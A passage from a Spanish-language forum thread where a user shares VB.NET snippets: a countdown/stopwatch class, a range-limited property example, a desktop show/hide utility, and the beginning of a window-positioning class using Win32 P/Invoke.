  12. 'Public Class TimeMeasurer_Test
  13. '
  14. '    ''' <summary>
  15. '    ''' The <see cref="TimeMeasurer"/> instance that measure time intervals.
  16. '    ''' </summary>
  17. '    Private WithEvents Clock As New TimeMeasurer With {.UpdateInterval = 100}
  18. '
  19. '    Private ctrl_ElapsedTime As Control ' Control used to display the time elapsed interval.
  20. '    Private ctrl_RemainingTime As Control ' Control used to display the time remaining interval.
  21. '
  22. '    Private Shadows Sub Load() Handles MyBase.Load
  23. '
  24. '        ctrl_ElapsedTime = LabelElapsed
  25. '        ctrl_RemainingTime = LabelRemaining
  26. '
  27. '        Me.Clock.Start(60000) ' Measure 1 minute
  28. '
  29. '        ' Or...
  30. '        ' Me.Clock.Stop() ' Stop temporally the time interval measurement.
  31. '        ' Me.Clock.Resume() ' Resume a previouslly stopped time interval measurement.
  32. '        ' Dim ClockState As TimeMeasurer.TimeMeasurerState = Me.Clock.State ' Get the state.
  33. '
  34. '    End Sub
  35. '
  36. '    ''' <summary>
  37. '    ''' Handles the ElapsedTimeUpdated event of the Clock instance.
  38. '    ''' </summary>
  39. '    ''' <param name="sender">The source of the event.</param>
  40. '    ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
  41. '    Private Sub Clock_ElapsedTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  42. '    Handles Clock.ElapsedTimeUpdated
  43. '
  44. '        ' Measure H:M:S:MS
  45. '        ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  46. '                                              e.Hour, e.Minute, e.Second, e.Millisecond)
  47. '
  48. '        ' Measure H:M:S
  49. '        ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
  50. '                                              e.Hour, e.Minute, e.Second)
  51. '
  52. '    End Sub
  53. '
  54. '    ''' <summary>
  55. '    ''' Handles the RemainingTimeUpdated event of the Clock instance.
  56. '    ''' </summary>
  57. '    ''' <param name="sender">The source of the event.</param>
  58. '    ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
  59. '    Private Sub Clock_RemainingTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  60. '    Handles Clock.RemainingTimeUpdated
  61. '
  62. '        ' Measure H:M:S:MS
  63. '        ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  64. '                                                e.Hour, e.Minute, e.Second, e.Millisecond)
  65. '
  66. '        ' Measure H:M:S
  67. '        ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
  68. '                                                e.Hour, e.Minute, e.Second + 1)
  69. '
  70. '    End Sub
  71. '
  72. '    ''' <summary>
  73. '    ''' Handles the ElapsedTimeFinished event of the Clock instance.
  74. '    ''' </summary>
  75. '    ''' <param name="sender">The source of the event.</param>
  76. '    ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
  77. '    Private Sub Clock_ElapsedTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  78. '    Handles Clock.ElapsedTimeFinished
  79. '
  80. '        ' Measure H:M:S:MS
  81. '        ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  82. '                                              e.Hour, e.Minute, e.Second, e.Millisecond)
  83. '
  84. '        ' Measure H:M:S
  85. '        ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
  86. '                                              e.Hour, e.Minute, e.Second)
  87. '
  88. '    End Sub
  89. '
  90. '    ''' <summary>
  91. '    ''' Handles the RemainingTimeFinished event of the Clock instance.
  92. '    ''' </summary>
  93. '    ''' <param name="sender">The source of the event.</param>
  94. '    ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
  95. '    Private Sub Clock_RemainingTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
  96. '    Handles Clock.RemainingTimeFinished
  97. '
  98. '        ' Measure H:M:S:MS
  99. '        ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
  100. '                                                e.Hour, e.Minute, e.Second, e.Millisecond)
  101. '
  102. '        ' Measure H:M:S
  103. '        ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
  104. '                                                e.Hour, e.Minute, e.Second)
  105. '
  106. '    End Sub
  107. '
  108. 'End Class
  109.  
  110. #End Region
  111.  
  112. #Region " Option Statements "
  113.  
  114. Option Strict On
  115. Option Explicit On
  116. Option Infer Off
  117.  
  118. #End Region
  119.  
  120. #Region " Imports "
  121.  
  122. Imports System.ComponentModel
  123.  
  124. #End Region
  125.  
  126. ''' <summary>
  127. ''' Measure a time interval.
  128. ''' This can be used as a chronometer or countdown timer.
  129. ''' </summary>
  130. Public NotInheritable Class TimeMeasurer
  131.  
  132. #Region " Objects "
  133.  
  134.    ''' <summary>
  135.    ''' <see cref="Stopwatch"/> instance to retrieve the elapsed time.
  136.    ''' </summary>
  137.    Private TimeElapsed As Stopwatch
  138.  
  139.    ''' <summary>
  140.    ''' <see cref="TimeSpan"/> instance to retrieve the remaining time.
  141.    ''' </summary>
  142.    Private TimeRemaining As TimeSpan
  143.  
  144.    ''' <summary>
  145.    ''' <see cref="Timer"/> instance that updates the elapsed and remaining times and raises the events.
  146.    ''' </summary>
  147.    Private WithEvents MeasureTimer As Timer
  148.  
  149.    ''' <summary>
  150.    ''' Indicates wheter the <see cref="TimeMeasurer"/> instance has finished to measure intervals.
  151.    ''' </summary>
  152.    Private IsFinished As Boolean
  153.  
  154. #End Region
  155.  
  156. #Region " Properties "
  157.  
  158.    ''' <summary>
  159.    ''' Gets the current state of this <see cref="TimeMeasurer"/> instance.
  160.    ''' </summary>
  161.    ''' <value>The update interval.</value>
  162.    Public ReadOnly Property State As TimeMeasurerState
  163.        Get
  164.            If Me.IsFinished Then
  165.                Return TimeMeasurerState.Finished
  166.  
  167.            ElseIf (Me.TimeElapsed Is Nothing) OrElse Not (Me.TimeElapsed.IsRunning) Then
  168.                Return TimeMeasurerState.Stopped
  169.  
  170.            Else
  171.                Return TimeMeasurerState.Running
  172.  
  173.            End If
  174.        End Get
  175.    End Property
  176.  
  177.    ''' <summary>
  178.    ''' Gets or sets the update interval.
  179.    ''' </summary>
  180.    ''' <value>The update interval.</value>
  181.    Public Property UpdateInterval As Integer
  182.        Get
  183.            Return Me._UpdateInterval
  184.        End Get
  185.        Set(ByVal value As Integer)
  186.            Me._UpdateInterval = value
  187.            If Me.MeasureTimer IsNot Nothing Then
  188.                Me.MeasureTimer.Interval = value
  189.            End If
  190.        End Set
  191.    End Property
  192.    ''' <summary>
  193.    ''' The update interval
  194.    ''' </summary>
  195.    Private _UpdateInterval As Integer = 100I
  196.  
  197. #End Region
  198.  
  199. #Region " Enumerations "
  200.  
  201.    ''' <summary>
  202.    ''' Specifies the current state of a <see cref="TimeMeasurer"/> instance.
  203.    ''' </summary>
  204.    <Description("Enum used as return value of 'State' property.")>
  205.    Public Enum TimeMeasurerState As Integer
  206.  
  207.        ''' <summary>
  208.        ''' The <see cref="TimeMeasurer"/> instance is running and measuring time intervals.
  209.        ''' </summary>
  210.        Running = 0I
  211.  
  212.        ''' <summary>
  213.        ''' The <see cref="TimeMeasurer"/> instance is temporally stopped, waiting to resume.
  214.        ''' </summary>
  215.        Stopped = 1I
  216.  
  217.        ''' <summary>
  218.        ''' The <see cref="TimeMeasurer"/> instance has finished to measure the time intervals.
  219.        ''' </summary>
  220.        Finished = 2I
  221.  
  222.    End Enum
  223.  
  224. #End Region
  225.  
  226. #Region " Events "
  227.  
  228.    ''' <summary>
  229.    ''' Occurs when the elapsed time updates.
  230.    ''' </summary>
  231.    Public Event ElapsedTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
  232.  
  233.    ''' <summary>
  234.    ''' Occurs when the remaining time updates.
  235.    ''' </summary>
  236.    Public Event RemainingTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
  237.  
  238.    ''' <summary>
  239.    ''' Occurs when the elapsed time finishes.
  240.    ''' </summary>
  241.    Public Event ElapsedTimeFinished(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
  242.  
  243.    ''' <summary>
  244.    ''' Occurs when the elapsed time finishes.
  245.    ''' </summary>
  246.    Public Event RemainingTimeFinished(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
  247.  
  248.    ''' <summary>
  249.    ''' Contains the <see cref="TimeMeasureEventArgs"/> arguments.
  250.    ''' </summary>
  251.    Public Class TimeMeasureEventArgs : Inherits EventArgs
  252.  
  253.        ''' <summary>
  254.        ''' Gets or sets the hour.
  255.        ''' </summary>
  256.        ''' <value>The hour.</value>
  257.        Public Property Hour As Double
  258.  
  259.        ''' <summary>
  260.        ''' Gets or sets the minute.
  261.        ''' </summary>
  262.        ''' <value>The minute.</value>
  263.        Public Property Minute As Double
  264.  
  265.        ''' <summary>
  266.        ''' Gets or sets the Second.
  267.        ''' </summary>
  268.        ''' <value>The Second.</value>
  269.        Public Property Second As Double
  270.  
  271.        ''' <summary>
  272.        ''' Gets or sets the Millisecond.
  273.        ''' </summary>
  274.        ''' <value>The Millisecond.</value>
  275.        Public Property Millisecond As Double
  276.  
  277.    End Class
  278.  
  279. #End Region
  280.  
  281. #Region " Public Methods "
  282.  
  283.    ''' <summary>
  284.    ''' Starts the time interval measurement from zero.
  285.    ''' </summary>
  286.    ''' <param name="Milliseconds">Indicates the time interval to measure, in milliseconds.</param>
  287.    Public Sub Start(ByVal Milliseconds As Double)
  288.  
  289.        If Milliseconds > (TimeSpan.MaxValue.TotalMilliseconds - 1001.0R) Then
  290.            Throw New ArgumentOutOfRangeException("Milliseconds",
  291.                                                  String.Format("The value can't be greater than {0}",
  292.                                                                CStr(TimeSpan.MaxValue.TotalMilliseconds - 1001.0R)))
  293.        End If
  294.  
  295.        Me.TimeElapsed = New Stopwatch
  296.        Me.TimeRemaining = TimeSpan.FromMilliseconds(Milliseconds)
  297.        Me.MeasureTimer = New Timer With
  298.           {
  299.             .Tag = Milliseconds,
  300.             .Interval = Me.UpdateInterval,
  301.             .Enabled = True
  302.           }
  303.  
  304.        Me.TimeElapsed.Start()
  305.        Me.MeasureTimer.Start()
  306.  
  307.    End Sub
  308.  
  309.    ''' <summary>
  310.    ''' Stops the time interval measurement.
  311.    ''' </summary>
  312.    Public Sub [Stop]()
  313.  
  314.        If (Me.MeasureTimer Is Nothing) OrElse Not (Me.TimeElapsed.IsRunning) Then
  315.            Throw New Exception("TimeMeasurer is not running.")
  316.  
  317.        Else
  318.            Me.MeasureTimer.Stop()
  319.            Me.TimeElapsed.Stop()
  320.  
  321.        End If
  322.  
  323.    End Sub
  324.  
  325.    ''' <summary>
  326.    ''' Resumes the time interval measurement.
  327.    ''' </summary>
  328.    Public Sub [Resume]()
  329.  
  330.        If (Me.MeasureTimer Is Nothing) OrElse (Me.TimeElapsed.IsRunning) Then
  331.            Throw New Exception("TimeMeasurer is not stopped.")
  332.  
  333.        Else
  334.            Me.MeasureTimer.Start()
  335.            Me.TimeElapsed.Start()
  336.  
  337.        End If
  338.  
  339.    End Sub
  340.  
  341. #End Region
  342.  
  343. #Region " Private Methods "
  344.  
  345.    ''' <summary>
  346.    ''' Stops Time intervals and resets the elapsed and remaining time to zero.
  347.    ''' </summary>
  348.    Private Sub Reset()
  349.  
  350.        Me.MeasureTimer.Stop()
  351.        Me.TimeElapsed.Reset()
  352.  
  353.    End Sub
  354.  
  355. #End Region
  356.  
  357. #Region " Event Handlers "
  358.  
  359.    ''' <summary>
  360.    ''' Handles the Tick event of the MeasureTimer control.
  361.    ''' </summary>
  362.    ''' <param name="sender">The source of the event.</param>
  363.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  364.    Private Sub MeasureTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
  365.    Handles MeasureTimer.Tick
  366.  
  367.        Dim TimeDifference As TimeSpan = (Me.TimeRemaining - Me.TimeElapsed.Elapsed)
  368.        Dim ElapsedArgs As New TimeMeasureEventArgs
  369.        Dim RemainingArgs As New TimeMeasureEventArgs
  370.  
  371.        If (TimeDifference.TotalMilliseconds <= 0.0R) _
  372.        OrElse (Me.TimeElapsed.ElapsedMilliseconds > DirectCast(Me.MeasureTimer.Tag, Double)) Then
  373.  
  374.            Dim TotalTime As TimeSpan = TimeSpan.FromMilliseconds(DirectCast(Me.MeasureTimer.Tag, Double))
  375.  
  376.            With ElapsedArgs
  377.                .Hour = TotalTime.Hours
  378.                .Minute = TotalTime.Minutes
  379.                .Second = TotalTime.Seconds
  380.                .Millisecond = TotalTime.Milliseconds
  381.            End With
  382.  
  383.            With RemainingArgs
  384.                .Hour = 0.0R
  385.                .Minute = 0.0R
  386.                .Second = 0.0R
  387.                .Millisecond = 0.0R
  388.            End With
  389.  
  390.            Me.Reset()
  391.            Me.IsFinished = True
  392.            RaiseEvent ElapsedTimeFinished(Me.TimeElapsed, ElapsedArgs)
  393.            RaiseEvent RemainingTimeFinished(TimeDifference, RemainingArgs)
  394.  
  395.        Else
  396.  
  397.            With ElapsedArgs
  398.                .Hour = TimeElapsed.Elapsed.Hours
  399.                .Minute = TimeElapsed.Elapsed.Minutes
  400.                .Second = TimeElapsed.Elapsed.Seconds
  401.                .Millisecond = TimeElapsed.Elapsed.Milliseconds
  402.            End With
  403.  
  404.            With RemainingArgs
  405.                .Hour = Math.Floor(TimeDifference.TotalHours) Mod TimeSpan.MaxValue.TotalMilliseconds
  406.                .Minute = Math.Floor(TimeDifference.TotalMinutes) Mod 60.0R
  407.                .Second = Math.Floor(TimeDifference.TotalSeconds) Mod 60.0R
  408.                .Millisecond = Math.Floor(TimeDifference.TotalMilliseconds Mod 1000.0R)
  409.            End With
  410.  
  411.            RaiseEvent ElapsedTimeUpdated(Me.TimeElapsed, ElapsedArgs)
  412.            RaiseEvent RemainingTimeUpdated(TimeDifference, RemainingArgs)
  413.  
  414.        End If
  415.  
  416.    End Sub
  417.  
  418. #End Region
  419.  
  420. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Octubre 2014, 04:12 am
Bueno, ya que nadie me da nunca las gracias por mis aportaciones de Snippets los cuales voy publicando casi día tras día o semana tras semana, y ya que no recibo ni un piropo ni una sonrisa por esto (xD), pues escribo este OffTopic para darme un poquito de reconocimiento a mi mismo, porque yo lo valgo xD.

Así es un día cualquiera en la vida de Elektro actualizando un antiguo Snippet (los breakpoints creo que no se restauran al darle ctrl+z), esto es para que veais que le pongo mucho empeño para compartir códigos con todos vosotros... y que todo es de cosecha propia, bueno, y porque en realidad siempre quise hacer algún video de este estilo a lo speed-coding, aunque no he elegido el mejor código/snippet para hacer este tipo de video, pero tenia muchas ganas de hacerlo xD:

6E3AEs66KaQ

Si, ha sido una chorrada de video y de comentario, ¿y que?, ¡a ver si os animais a compartir Snippets!... que siempre soy el único :(

Saludos!


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Octubre 2014, 06:31 am
Ejemplo de como crear una propiedad con un rango asignado...

Código
  1. Public Class MyType
  2.  
  3. ''' <summary>
  4. ''' Gets or sets the value.
  5. ''' </summary>
  6. ''' <value>The value.</value>
  7. Public Property MyProperty As Integer
  8.    Get
  9.        Return Me._MyValue
  10.    End Get
  11.    Set(ByVal value As Integer)
  12.  
  13.        If value < Me._MyValueMin Then
  14.            If Me._MyValueThrowRangeException Then
  15.                Throw New ArgumentOutOfRangeException("MyValue", Me._MyValueExceptionMessage)
  16.            End If
  17.            Me._MyValue = Me._MyValueMin
  18.  
  19.        ElseIf value > Me._MyValueMax Then
  20.            If Me._MyValueThrowRangeException Then
  21.                Throw New ArgumentOutOfRangeException("MyValue", Me._MyValueExceptionMessage)
  22.            End If
  23.            Me._MyValue = Me._MyValueMax
  24.  
  25.        Else
  26.            Me._MyValue = value
  27.  
  28.        End If
  29.  
  30.    End Set
  31. End Property
  32. Private _MyValue As Integer = 0I
  33. Private _MyValueMin As Integer = 0I
  34. Private _MyValueMax As Integer = 10I
  35. Private _MyValueThrowRangeException As Boolean = True
  36.    Private _MyValueExceptionMessage As String = String.Format("The valid range is beetwen {0} and {1}",
  37.                                                           Me._MyValueMin, Me._MyValueMax)
  38.  
  39. End Class




Una utilidad para mostrar, ocultar, o intercambiar el estado del escritorio.

Nota: El método ToggleDesktop no funciona en WinXP.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 09-23-2014
  4. ' ***********************************************************************
  5. ' <copyright file="DesktopVisibility.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. ' DesktopVisibility.ShowDesktop()
  13. ' DesktopVisibility.HideDesktop()
  14. ' DesktopVisibility.ToggleDesktop()
  15.  
  16. #End Region
  17.  
  18. #Region " Imports "
  19.  
  20. Imports System.Runtime.InteropServices
  21.  
  22. #End Region
  23.  
  24. #Region " DesktopVisibility "
  25.  
  26. ''' <summary>
  27. ''' Shows, hides, or toggles the desktop.
  28. ''' </summary>
  29. Public NotInheritable Class DesktopVisibility
  30.  
  31. #Region " Objects "
  32.  
  33.    ''' <summary>
  34.    ''' "Shell" CLASSID.
  35.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/bb776890%28v=vs.85%29.aspx
  36.    ''' </summary>
  37.    Private Shared ReadOnly CLSIDShell As New Guid("13709620-C279-11CE-A49E-444553540000")
  38.  
  39.    ''' <summary>
  40.    ''' Gets the objects in the Shell.
  41.    ''' Methods are provided to control the Shell and to execute commands within the Shell.
  42.    ''' There are also methods to obtain other Shell-related objects.
  43.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/bb774094%28v=vs.85%29.aspx
  44.    ''' </summary>
  45.    Private Shared ReadOnly Property Shell As Object
  46.        Get
  47.            If _Shell Is Nothing Then
  48.                _Shell = Activator.CreateInstance(Type.GetTypeFromCLSID(CLSIDShell))
  49.                Return _Shell
  50.            Else
  51.                Return _Shell
  52.            End If
  53.        End Get
  54.    End Property
  55.    Private Shared _Shell As Object = Nothing
  56.  
  57. #End Region
  58.  
  59. #Region " P/Invoke "
  60.  
  61. #Region " Methods "
  62.  
  63.    ''' <summary>
  64.    ''' Retrieves a handle to the top-level window whose class name and window name match the specified strings.
  65.    ''' This function does not search child windows.
  66.    ''' This function does not perform a case-sensitive search.
  67.    ''' To search child windows, beginning with a specified child window, use the FindWindowEx function.
  68.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633499%28v=vs.85%29.aspx
  69.    ''' </summary>
  70.    ''' <param name="lpClassName">The class name.
  71.    ''' If this parameter is NULL, it finds any window whose title matches the lpWindowName parameter.</param>
  72.    ''' <param name="lpWindowName">The window name (the window's title).
  73.    ''' If this parameter is NULL, all window names match.</param>
  74.    ''' <returns>If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
  75.    ''' If the function fails, the return value is NULL.</returns>
  76.    <DllImport("user32.dll", SetLastError:=False)>
  77.    Private Shared Function FindWindow(
  78.            ByVal lpClassName As String,
  79.            ByVal lpWindowName As String
  80.    ) As IntPtr
  81.    End Function
  82.  
  83.    ''' <summary>
  84.    ''' Sends the specified message to a window or windows.
  85.    ''' The SendMessage function calls the window procedure for the specified window
  86.    ''' and does not return until the window procedure has processed the message.
  87.    ''' </summary>
  88.    ''' <param name="hWnd">A handle to the window whose window procedure will receive the message.</param>
  89.    ''' <param name="Msg">The message to be sent.</param>
  90.    ''' <param name="wParam">Additional message-specific information.</param>
  91.    ''' <param name="lParam">Additional message-specific information.</param>
  92.    ''' <returns>IntPtr.</returns>
  93.    <DllImport("user32.dll", SetLastError:=False)>
  94.    Private Shared Function SendMessage(
  95.            ByVal hWnd As IntPtr,
  96.            ByVal Msg As WindowsMessages,
  97.            ByVal wParam As IntPtr,
  98.            ByVal lParam As IntPtr
  99.    ) As IntPtr
  100.    End Function
  101.  
  102. #End Region
  103.  
  104. #Region " Enumerations "
  105.  
  106.    ''' <summary>
  107.    ''' Specifies a System-Defined Message.
  108.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644927%28v=vs.85%29.aspx#system_defined
  109.    ''' </summary>
  110.    Public Enum WindowsMessages
  111.  
  112.        ''' <summary>
  113.        ''' Message sent when the user selects a command item from a menu,
  114.        ''' when a control sends a notification message to its parent window,
  115.        ''' or when an accelerator keystroke is translated.
  116.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms647591%28v=vs.85%29.aspx
  117.        ''' </summary>
  118.        WM_COMMAND = &H111UI
  119.  
  120.    End Enum
  121.  
  122. #End Region
  123.  
  124. #Region " Constants "
  125.  
  126.    ''' <summary>
  127.    ''' Minimize all windows.
  128.    ''' </summary>
  129.    Const MIN_ALL As Integer = 419
  130.  
  131.    ''' <summary>
  132.    ''' Undo the minimization of all minimized windows.
  133.    ''' </summary>
  134.    Const MIN_ALL_UNDO As Integer = 416
  135.  
  136. #End Region
  137.  
  138. #End Region
  139.  
  140. #Region " Public Methods "
  141.  
  142.    ''' <summary>
  143.    ''' Shows the desktop.
  144.    ''' </summary>
  145.    Public Shared Sub ShowDesktop()
  146.  
  147.        SendMessage(FindWindow("Shell_TrayWnd", Nothing),
  148.                    WindowsMessages.WM_COMMAND,
  149.                    New IntPtr(MIN_ALL), IntPtr.Zero)
  150.  
  151.    End Sub
  152.  
  153.    ''' <summary>
  154.    ''' Hides the desktop.
  155.    ''' </summary>
  156.    Public Shared Sub HideDesktop()
  157.  
  158.        SendMessage(FindWindow("Shell_TrayWnd", Nothing),
  159.                    WindowsMessages.WM_COMMAND,
  160.                    New IntPtr(MIN_ALL_UNDO), IntPtr.Zero)
  161.  
  162.    End Sub
  163.  
  164.    ''' <summary>
  165.    ''' Shows or hides the desktop.
  166.    ''' </summary>
  167.    Public Shared Sub ToggleDesktop()
  168.  
  169.        Shell.ToggleDesktop() ' Doesns't works in Windows XP
  170.  
  171.    End Sub
  172.  
  173. #End Region
  174.  
  175. End Class
  176.  
  177. #End Region





Utilidad para posicionar una ventana en la pantalla, se puede elegir una de las posiciones predeterminadas (las esquinas de la pantalla) o especificar unas coordenadas exactas.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 10-01-2014
  4. ' ***********************************************************************
  5. ' <copyright file="SetWindowPosition.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Example Usage "
  11.  
  12. ' SetWindowPosition.SetWindowPos("proceso.exe", SetWindowPosition.Corner.BottomRight)
  13. ' SetWindowPosition.SetWindowPos("proceso.exe", X:=100, Y:=100, Bounds:=SystemInformation.VirtualScreen)
  14.  
  15. #End Region
  16.  
  17. #Region " Imports "
  18.  
  19. Imports System.ComponentModel
  20. Imports System.Runtime.InteropServices
  21.  
  22. #End Region
  23.  
  24. ''' <summary>
  25. ''' Set the position of a window.
  26. ''' </summary>
  27. Public Class SetWindowPosition
  28.  
  29. #Region " P/Invoke "
  30.  
  31.    ''' <summary>
  32.    ''' Platform Invocation methods (P/Invoke), access unmanaged code.
  33.    ''' This class does not suppress stack walks for unmanaged code permission.
  34.    ''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/>  must not be applied to this class.
  35.    ''' This class is for methods that can be used anywhere because a stack walk will be performed.
  36.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/ms182161.aspx
  37.    ''' </summary>
  38.    Protected NotInheritable Class NativeMethods
  39.  
  40. #Region " Methods "
  41.  
  42.        ''' <summary>
  43.        ''' Changes the size, position, and Z order of a child, pop-up, or top-level window.
  44.        ''' These windows are ordered according to their appearance on the screen.
  45.        ''' The topmost window receives the highest rank and is the first window in the Z order.
  46.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
  47.        ''' </summary>
  48.        ''' <param name="hWnd">
  49.        ''' A handle to the window.
  50.        ''' </param>
  51.        ''' <param name="hWndInsertAfter">
  52.        ''' A special handle to the window to precede the positioned window in the Z order.
  53.        ''' This parameter must be a window handle or one of the <see cref="SpecialWindowHandles"/> values.
  54.        ''' </param>
  55.        ''' <param name="X">
  56.        ''' The new position of the left side of the window, in client coordinates.
  57.        ''' </param>
  58.        ''' <param name="Y">
  59.        ''' The new position of the top of the window, in client coordinates.
  60.        ''' </param>
  61.        ''' <param name="cx">
  62.        ''' The new width of the window, in pixels.
  63.        ''' </param>
  64.        ''' <param name="cy">
  65.        ''' The new height of the window, in pixels.
  66.        ''' </param>
  67.        ''' <param name="uFlags">
  68.        ''' The window sizing and positioning flags.
  69.        ''' </param>
  70.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  71.        <DllImport("user32.dll", SetLastError:=True)>
  72.        Friend Shared Function SetWindowPos(
  73.               ByVal hWnd As IntPtr,
  74.               ByVal hWndInsertAfter As SpecialWindowHandles,
  75.               ByVal X As Integer,
  76.               ByVal Y As Integer,
  77.               ByVal cx As Integer,
  78.               ByVal cy As Integer,
  79.               ByVal uFlags As SetWindowPosFlags
  80.        ) As Boolean
  81.        End Function
  82.  
  83.        ''' <summary>
  84.        ''' Retrieves the dimensions of the bounding rectangle of the specified window.
  85.        ''' The dimensions are given in screen coordinates that are relative to the upper-left corner of the screen.
  86.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633519%28v=vs.85%29.aspx
  87.        ''' </summary>
  88.        ''' <param name="hWnd">A handle to the window.</param>
  89.        ''' <param name="rc">
  90.        ''' A pointer to a RECT structure that receives the screen coordinates of
  91.        ''' the upper-left and lower-right corners of the window.
  92.        ''' </param>
  93.        ''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
  94.        <DllImport("user32.dll", SetLastError:=True)>
  95.        Friend Shared Function GetWindowRect(
  96.               ByVal hWnd As IntPtr,
  97.               ByRef rc As Rectangle
  98.        ) As Boolean
  99.        End Function
  100.  
  101. #End Region
  102.  
  103. #Region " Enumerations "
  104.  
  105.        ''' <summary>
  106.        ''' Specifies the window sizing and positioning flags.
  107.        ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
  108.        ''' </summary>
  109.        <Description("Enum used as 'uFlags' parameter of 'NativeMethods.SetWindowPos' function")>
  110.        <Flags>
  111.        Friend Enum SetWindowPosFlags As UInteger
  112.  
  113.            ''' <summary>
  114.            ''' If the calling thread and the thread that owns the window are attached to different input queues,
  115.            ''' the system posts the request to the thread that owns the window.
  116.            ''' This prevents the calling thread from blocking its execution while other threads process the request.
  117.            ''' </summary>
  118.            ''' <remarks>SWP_ASYNCWINDOWPOS</remarks>
  119.            SynchronousWindowPosition = &H4000UI
  120.  
  121.            ''' <summary>
  122.            ''' Prevents generation of the WM_SYNCPAINT message.
  123.            ''' </summary>
  124.            ''' <remarks>SWP_DEFERERASE</remarks>
  125.            DeferErase = &H2000UI
  126.  
  127.            ''' <summary>
  128.            ''' Draws a frame (defined in the window's class description) around the window.
  129.            ''' </summary>
  130.            ''' <remarks>SWP_DRAWFRAME</remarks>
  131.            DrawFrame = &H20UI
  132.  
  133.            ''' <summary>
  134.            ''' Applies new frame styles set using the SetWindowLong function.
  135.            ''' Sends a WM_NCCALCSIZE message to the window, even if the window's size is not being changed.
  136.            ''' If this flag is not specified, WM_NCCALCSIZE is sent only when the window's size is being changed.
  137.            ''' </summary>
  138.            ''' <remarks>SWP_FRAMECHANGED</remarks>
  139.            FrameChanged = &H20UI
  140.  
  141.            ''' <summary>
  142.            ''' Hides the window.
  143.            ''' </summary>
  144.            ''' <remarks>SWP_HIDEWINDOW</remarks>
  145.            HideWindow = &H80UI
  146.  
  147.            ''' <summary>
  148.            ''' Does not activate the window.
  149.            ''' If this flag is not set, the window is activated and moved to the top of
  150.            ''' either the topmost or non-topmost group (depending on the setting of the hWndInsertAfter parameter).
  151.            ''' </summary>
  152.            ''' <remarks>SWP_NOACTIVATE</remarks>
  153.            DoNotActivate = &H10UI
  154.  
  155.            ''' <summary>
  156.            ''' Discards the entire contents of the client area. If this flag is not specified,
  157.            ''' the valid contents of the client area are saved and copied back into the
  158.            ''' client area after the window is sized or repositioned.
  159.            ''' </summary>
  160.            ''' <remarks>SWP_NOCOPYBITS</remarks>
  161.            DoNotCopyBits = &H100UI
  162.  
  163.            ''' <summary>
  164.            ''' Retains the current position (ignores X and Y parameters).
  165.            ''' </summary>
  166.            ''' <remarks>SWP_NOMOVE</remarks>
  167.            IgnoreMove = &H2UI
  168.  
  169.            ''' <summary>
  170.            ''' Does not change the owner window's position in the Z order.
  171.            ''' </summary>
  172.            ''' <remarks>SWP_NOOWNERZORDER</remarks>
  173.            DoNotChangeOwnerZOrder = &H200UI
  174.  
  175.            ''' <summary>
  176.            ''' Does not redraw changes.
  177.            ''' If this flag is set, no repainting of any kind occurs.
  178.            ''' This applies to  the client area, the nonclient area (including the title bar and scroll bars),
  179.            ''' and any part of the parent window uncovered as a result of the window being moved.
  180.            ''' When this flag is set, the application must explicitly invalidate or
  181.            ''' redraw any parts of the window and parent window that need redrawing.
  182.            ''' </summary>
  183.            ''' <remarks>SWP_NOREDRAW</remarks>
  184.            DoNotRedraw = &H8UI
  185.  
